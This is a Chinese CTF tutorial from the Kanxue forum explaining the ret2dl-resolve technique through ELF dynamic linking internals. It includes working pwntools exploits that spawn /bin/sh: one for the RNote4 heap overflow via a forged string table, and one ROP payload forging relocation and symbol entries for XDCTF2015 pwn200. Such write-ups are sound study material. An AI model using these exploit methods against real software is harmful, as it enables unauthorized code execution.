[新手向]ret2dl-resolve詳解
0x00 前言
最近做RCTF,結果pwn一道沒做出來(雖然精力全放在更擅長的 reverse上了),然後覆盤的時候發現RNote4有個關於 ret2dl-resolve 的利用,遂在網上查之,發現很多資料講的不是很清楚,但是還是慢慢琢磨弄懂了。
這個技巧貌似是一個挺基礎的技巧,玩pwn一段時間了,發現自己還有這種知識遺漏,所以這篇文章新手向,大神可以繞道了......
0x01 ELF檔案格式以及動態連結
我們知道,無論是windows下還是linux下,程式想要呼叫其他動態連結庫的函式,必須要在程式載入的時候動態連結,比方說,windows下,叫作IAT表,linux下,叫作GOT表。
呼叫庫函式時,會有個類似call [xxx] 或者 jmp [xxx]的指令,其中xxx是IAT表或者GOT表的地址。在這裡因為是linux的pwn,我們主要討論GOT表,以及在linux下更為常見的jmp [xxx]。
linux如何呼叫庫函式
首先一個hello world程式
#include
int main()
{
puts("Hello Pwn\n");
return 0;
}//gcc -m32 -fno-stack-protector -no-pie -s hellopwn.c
其中,這個puts是呼叫的libc這個動態連結庫匯出的一個函式。編譯它,看看puts是怎麼被呼叫的。
push offset s ; "Hello Pwn\n"
call _puts ;這裡呼叫puts
_puts:
jmp ds:off_804A00C ; puts會call到這裡,這裡就是“jmp [GOT表地址]”的這樣一條指令
跟一下,看看這個 off_804A00C 在第一次呼叫時是什麼東西
可以發現,是0x80482e6這個地址,並不直接是libc的puts函式的地址。這是因為linux在程式載入時使用了延遲繫結(lazy load),只有等到這個函式被呼叫了,才去把這個函式在libc的地址放到GOT表中。
接下來,會再push一個0,再push一個 dword ptr [0x804a004],待會會說這兩個引數是什麼意思,最後跳到libc的 _dl_runtime_resolve 去執行。
這個函式的目的,是根據2個引數獲取到匯出函式(這裡是puts)的地址,然後放到相應的GOT表,並且呼叫它。而這個函式的地址也是從GOT表取並且jmp [xxx]過去的,但是這個函式不會延遲繫結,因為所有函式都是用它做的延遲繫結,如果把它也延遲繫結就會出現先有雞還是先有蛋的問題了。
ELF關於動態連結的一些關鍵section
section,segment是什麼東西不說了,不知道的話呢谷歌百度一下。
.dynamic
包含了一些關於動態連結的關鍵資訊,在這個hellopwn上它長這樣,事實上這個section所有程式都差不多
這個section的用處就是他包含了很多動態連結所需的關鍵資訊,我們現在只關心DT_STRTAB, DT_SYMTAB, DT_JMPREL這三項,這三個東西分別包含了指向.dynstr, .dynsym, .rel.plt這3個section的指標,可以readelf -S hellopwn看一下,會發現這三個section的地址跟在上圖所示的地址是一樣的。
.dynstr
一個字串表,index為0的地方永遠是0,然後後面是動態連結所需的字串,0結尾,包括匯入函式名,比方說這裡很明顯有個puts。到時候,相關資料結構引用一個字串時,用的是相對這個section頭的偏移,比方說,在這裡,就是字串相對0x804821C的偏移。
.dynsym
這個東西,是一個符號表(結構體陣列),裡面記錄了各種符號的資訊,每個結構體對應一個符號。我們這裡只關心函式符號,比方說上面的puts。結構體定義如下
typedef struct
{
Elf32_Word st_name; //符號名,是相對.dynstr起始的偏移,這種引用字串的方式在前面說過了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //對於匯入函式符號而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //對於匯入函式符號而言,其他欄位都是0
.rel.plt
這裡是重定位表(不過跟windows那個重定位表概念不同),也是一個結構體陣列,每個項對應一個匯入函式。結構體定義如下:
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指標
Elf32_Word r_info;
//一些關於匯入符號的資訊,我們只關心從第二個位元組開始的值((val)>>8),忽略那個07
//1和3是這個匯入函式的符號在.dynsym中的下標,
//如果往回看的話你會發現1和3剛好和.dynsym的puts和__libc_start_main對應
} Elf32_Rel;
_dl_runtime_resolve做了什麼
這個想要深入理解的話呢可以去看glibc/elf/dl-runtime.c的原始碼,這裡我就不貼了,因為有一堆巨集,看著讓人暈,我就直接說下他做了哪些事情。
首先說第一個引數,[0x804a004]是一個link_map的指標,這個結構是幹什麼的,我們不關心,但是有一點要知道,它包含了.dynamic的指標,通過這個link_map,_dl_runtime_resolve函式可以訪問到.dynamic這個section
0x08049f14是.dynamic的指標,與前面圖中一致;而第二個引數,是當前要呼叫的匯入函式在.rel.plt中的偏移(不過64位的話就直接是index下標),比方說這裡,puts就是0,__libc_start_main就是1*sizeof(Elf32_Rel)=8。
_dl_runtime_resolve會
用link_map訪問.dynamic,取出.dynstr, .dynsym, .rel.plt的指標
.rel.plt + 第二個引數求出當前函式的重定位表項Elf32_Rel的指標,記作rel
rel->r_info >> 8作為.dynsym的下標,求出當前函式的符號表項Elf32_Sym的指標,記作sym
.dynstr + sym->st_name得出符號名字串指標
在動態連結庫查詢這個函式的地址,並且把地址賦值給*rel->r_offset,即GOT表
呼叫這個函式
如果閱讀libc原始碼的話會發現實際順序可能跟我上面所說的有一點偏差,不過意思都一樣,我這樣說會比較好理解。
0x02 ret2dl-resolve 利用
那麼,這個怎麼去利用呢,有兩種利用方式
改寫.dynamic的DT_STRTAB
這個只有在checksec時No RELRO可行,即.dynamic可寫。因為ret2dl-resolve會從.dynamic裡面拿.dynstr字串表的指標,然後加上offset取得函式名並且在動態連結庫中搜尋這個函式名,然後呼叫。而假如說我們能夠改寫這個指標到一塊我們能夠操縱的記憶體空間,當resolve的時候,就能resolve成我們所指定的任意庫函式。比方說,原本是一個free函式,我們就把原本是free字串的那個偏移位置設為system字串,第一次呼叫free("bin/sh")(因為只有第一次才會resolve),就等於呼叫了system("/bin/sh")。
例題就是RCTF的RNote4,題目是一道堆溢位,NO RELRO而且NO PIE溢位到後面的指標可以實現任意地址寫。
unsigned __int64 edit()
{
unsigned __int8 a1; // [rsp+Eh] [rbp-12h]
unsigned __int8 size; // [rsp+Fh] [rbp-11h]
note *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
a1 = 0;
read_buf((char *)&a1, 1u);
if ( !notes[a1] )
exit(-1);
v3 = notes[a1];
size = 0;
read_buf((char *)&size, 1u);
read_buf(v3->buf, size); // heap overflow堆溢位
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 add()
{
unsigned __int8 size; // [rsp+Bh] [rbp-15h]
int i; // [rsp+Ch] [rbp-14h]
note *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( number > 32 )
exit(-1);
size = 0;
v3 = (note *)calloc(0x10uLL, 1uLL);
if ( !v3 )
exit(-1);
read_buf((char *)&size, 1u);
if ( !size )
exit(-1);
v3->buf = (char *)calloc(size, 1uLL); //堆中存放了指標,所以可以通過這個任意寫
if ( !v3->buf )
exit(-1);
read_buf(v3->buf, size);
v3->size = size;
for ( i = 0; i <= 31 && notes[i]; ++i )
;
notes[i] = v3;
++number;
return __readfsqword(0x28u) ^ v4;
}
所以呢,可以先add兩個note,然後編輯第一個note使得堆溢位到第二個note的指標,然後再修改第二個note,實現任意寫。至於寫什麼,剛剛也說了,先寫.dynamic指向字串表的指標,使其指向一塊可寫記憶體,比如.bss,然後再寫這塊記憶體,使得相應偏移出剛好有個system\x00。exp如下
from pwn import *
g_local=True
#e=ELF('./libc.so.6')
#context.log_level='debug'
if g_local:
sh =process('./RNote4')#env={'LD_PRELOAD':'./libc.so.6'}
gdb.attach(sh)
else:
sh = remote("rnote4.2018.teamrois.cn", 6767)
def add(content):
assert len(content) < 256
sh.send("\x01")
sh.send(chr(len(content)))
sh.send(content)
def edit(idx, content):
assert idx < 32 and len(content) < 256
sh.send("\x02")
sh.send(chr(idx))
sh.send(chr(len(content)))
sh.send(content)
def delete(idx):
assert idx < 32
sh.send("\x03")
sh.send(chr(idx))
#偽造的字串表,(0x457-0x3f8)剛好是"free\x00"字串的偏移
payload = "C" * (0x457-0x3f8) + "system\x00"
#先新建兩個notes
add("/bin/sh\x00" + "A" * 0x10)
add("/bin/sh\x00" + "B" * 0x10)
#溢位時儘量保證堆塊不被破壞,不過這裡不會再做堆的操作了其實也無所謂
edit(0, "/bin/sh\x00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x601EB0))
#將0x601EB0,即.dynamic的字串表指標,寫成0x6020C8
edit(1, p64(0x6020C8))
edit(0, "/bin/sh\x00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x6020C8))
#在0x6020C8處寫入偽造的字串表
edit(1, payload)
#會第一次呼叫free,所以實際上是system("/bin/sh")被呼叫,如前面所說
delete(0)
sh.interactive()
操縱第二個引數,使其指向我們所構造的Elf32_Rel
如果.dynamic不可寫,那麼以上方法就沒用了,所以有第二種利用方法。要知道,前面的_dl_runtime_resolve在第二步時
.rel.plt + 第二個引數求出當前函式的重定位表項Elf32_Rel的指標,記作rel
這個時候,_dl_runtime_resolve並沒有檢查.rel.plt + 第二個引數後是否造成越界訪問,所以我們能給一個很大的.rel.plt的offset(64位的話就是下標),然後使得加上去之後的地址指向我們所能操縱的一塊記憶體空間,比方說.bss。
然後第三步
rel->r_info >> 8作為.dynsym的下標,求出當前函式的符號表項Elf32_Sym的指標,記作sym
所以在我們所偽造的Elf32_Rel,需要放一個r_info欄位,大概長這樣就行0xXXXXXX07,其中XXXXXX是相對.dynsym表的下標,注意不是偏移,所以是偏移除以Elf32_Sym的大小,即除以0x10(32位下)。然後這裡同樣也沒有進行越界訪問的檢查,所以可以用類似的方法,偽造出這個Elf32_Sym。至於為什麼是07,因為這是一個匯入函式,而匯入函式一般都是07,所以寫成07就好。
然後第四步
.dynstr + sym->st_name得出符號名字串指標
同樣類似,沒有進行越界訪問檢查,所以這個字串也能夠偽造。
所以,最終的利用思路,大概是
構造ROP,跳轉到resolve的PLT,push link_map的位置,就是上圖所示的這個地方。此時,棧中必須要有已經偽造好的指向偽造的Elf32_Rel的偏移,然後是返回地址(system的話無所謂),再然後是引數(如果是system函式的話就要是指向"/bin/sh\x00"的指標)
最後來道經典例題,
int __cdecl main(int a1)
{
size_t v1; // eax
char buf[4]; // [esp+0h] [ebp-6Ch]
char v4; // [esp+18h] [ebp-54h]
int *v5; // [esp+64h] [ebp-8h]
v5 = &a1;
strcpy(buf, "Welcome to XDCTF2015~!\n");
memset(&v4, 0, 0x4Cu);
setbuf(stdout, buf);
v1 = strlen(buf);
write(1, buf, v1);
vuln();
return 0;
}
ssize_t vuln()
{
char buf[108]; // [esp+Ch] [ebp-6Ch]
setbuf(stdin, buf);
return read(0, buf, 256u); //棧溢位
}
//gcc -m32 -fno-stack-protector -no-pie -s pwn200.c
明顯的棧溢位,但是沒給libc,ROPgadget也少,所以要用ret2dl-resolve。
利用思路如下:
第一次呼叫read函式,返回地址再溢位成read函式,這次引數給一個.bss的地址,裡面放我們的payload,包括所有偽造的資料結構以及ROP。注意ROP要放在資料結構的前面,不然ROP呼叫時有可能汙染我們偽造的資料結構,而且前面要預留一段空間給ROP所呼叫的函式用。呼叫完第二個read之後,ROP到leave; retn的地址,以便切棧切到在.bss中我們構造的下一個ROP鏈
payload1 = "A" * 108
payload1 += p32(NEXT_ROP) # ebp會在這裡被pop出來,到時候leave就可以切棧
payload1 += p32(READ_ADDR)
payload1 += p32(LEAVE_RETN)
payload1 += p32(0)
payload1 += p32(BUFFER - ROP_SIZE)
payload1 += p32(0x100)
payload1 += "P" * (0x100 - len(payload1))
sh.send(payload1)
第二次呼叫read函式,此時要sendROP鏈以及所有相關的偽造資料結構
fake_Elf32_Rel = p32(STRLEN_GOT)
fake_Elf32_Rel += p32(FAKE_SYMTAB_IDX)
fake_Elf32_Sym = p32(FAKE_STR_OFF)
fake_Elf32_Sym += p32(0)
fake_Elf32_Sym += p32(0)
fake_Elf32_Sym += chr(0x12) + chr(0) + p16(0) # 其它欄位直接照抄IDA裡面的資料就好
strings = "system\x00/bin/sh\x00\x00"
rop = p32(0) # pop ebp, 隨便設反正不用了
rop += p32(DYN_RESOL_PLT) # resolve的PLT,就是前面說的push link_map那個位置
rop += p32(FAKE_REL_OFF) # 偽造的重定位表OFFSET
rop += "AAAA" # 返回地址,不用了隨便設
rop += p32(BIN_SH_ADDR) # 引數,"/bin/sh"
payload2 = rop + fake_Elf32_Rel + fake_Elf32_Sym + strings
sh.send(payload2)
至於offset這些東西要自己慢慢擼,反正我搞了挺久的。就在IDA裡把地址copy出來然後慢慢算偏移就好了。
完整exp寫的有點醜,放附件了。(去原帖檢視)
PS: 其他一些大佬部落格的exp我沒有很看懂,不知道為啥要寫那麼長。我是弄懂了方法就按照自己的思路寫的,不過也對就是了......
然後貌似有個自動得出ROP的工具叫作roputils,這樣就不用自己搞這麼一串ROP了。不過用工具前還是要先搞懂原理的不然就成指令碼小子了嘛......
偽造link_map?
貌似也可行,而且64位下link_map+0x1c8 好像要置0,所以可能要自己偽造link_map。但是link_map結構有點複雜,網上也沒有關於這種利用方式的資料,以後有空會再研究一下。
0x03 參考資料
1. http://phrack.org/issues/58/4.html
2. http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
3. http://showlinkroom.me/2017/04/09/ret2dl-resolve/
4. https://0x00sec.org/t/linux-internals-the-art-of-symbol-resolution/1488
5. https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.3_pwn_xdctf2015_pwn200.md
6. https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf
原文連結:[原創][新手向]ret2dl-resolve詳解-『Pwn』-看雪安全論壇
本文由看雪論壇 holing 原創
轉載請註明來自看雪社群
相關文章
- Java物件導向詳解-上2020-07-08Java物件
- JavaScript物件導向詳解(原理)2018-08-26JavaScript物件
- 老鳥向新手講解各種程式設計比賽2015-05-18程式設計
- 陰陽師手遊新手教程 陰陽師手遊新手入門攻略詳解2016-12-02
- JavaScript物件導向名詞詳解2019-01-28JavaScript物件
- Databinding 雙向繫結詳解2018-04-11
- 物件導向08:封裝詳解2024-03-25物件封裝
- 非面試向跨域實踐詳解2018-09-11面試跨域
- php下操作mysql詳解之初級!(物件導向,程式導向)2017-11-12PHPMySql物件
- 新手必看!最簡單的MySQL資料庫詳解2021-09-02MySql資料庫
- JavaScript物件導向修改標籤頁詳解2021-08-20JavaScript物件
- 常用的Linux命令——新手向教學2021-03-22Linux
- Java中的反射技術--小白新手向2020-11-19Java反射
- 新手如何理解JS物件導向開發?2018-06-30JS物件
- JavaScript圖片橫向無縫滾動詳解2018-09-07JavaScript
- css橫向導航欄製作流程詳解2018-09-11CSS
- Python實現單向連結串列詳解2022-11-22Python
- Android AIDL SERVICE 雙向通訊 詳解2016-01-25AndroidAI
- 「MoreThanJava」Day 5:物件導向進階——繼承詳解2020-08-07Java物件繼承
- 詳解雙向連結串列的基本操作(C語言)2020-12-16C語言
- 【新手向】Vue.js + Node.js(koa) 合體指南2019-01-02Vue.jsNode.js
- 如何向新手程式設計師介紹程式設計?2015-01-19程式設計師
- 不要用物件導向來迷惑程式設計師新手2011-03-29物件程式設計師
- 新手入門,webpack入門詳細教程2018-11-15Web
- 新手操作抖音桌布號的詳細流程2022-07-16
- 人人都能有一個自己的部落格系統(新手向)2018-06-05
- 詳解Python物件導向程式設計之類、例項、方法2021-09-11Python物件程式設計
- 新手搭建雲伺服器詳細過程2019-03-22伺服器
- express+mongoose簡易登入,以及封裝思想(純新手向)2019-12-13ExpressGo封裝
- 常被新手忽略的值賦值和引用賦值(偏redux向)2018-04-24賦值Redux
- stm32F103RCT6使用FFT運算分析波形詳解(非常新手)2022-04-28FFT
- 新手學習python2還是python3?詳細區別講解2021-09-11Python
- Java物件導向記憶體分析詳解(例項、圖)通俗易懂2020-12-02Java物件記憶體
- 【Linux】(小白向)詳解VirtualBox網路配置-配置Linux網路2023-05-18Linux
- Modelsim模擬新手入門最詳細教程2021-11-15
- 初次在cmd使用git命令上傳專案至github方法(新手向)2018-04-22Github
- 手把手教你搭建hadoop+hive測試環境(新手向)2018-05-10HadoopHive
- 如何高效的向新手程式設計師們介紹程式語言?2015-01-21程式設計師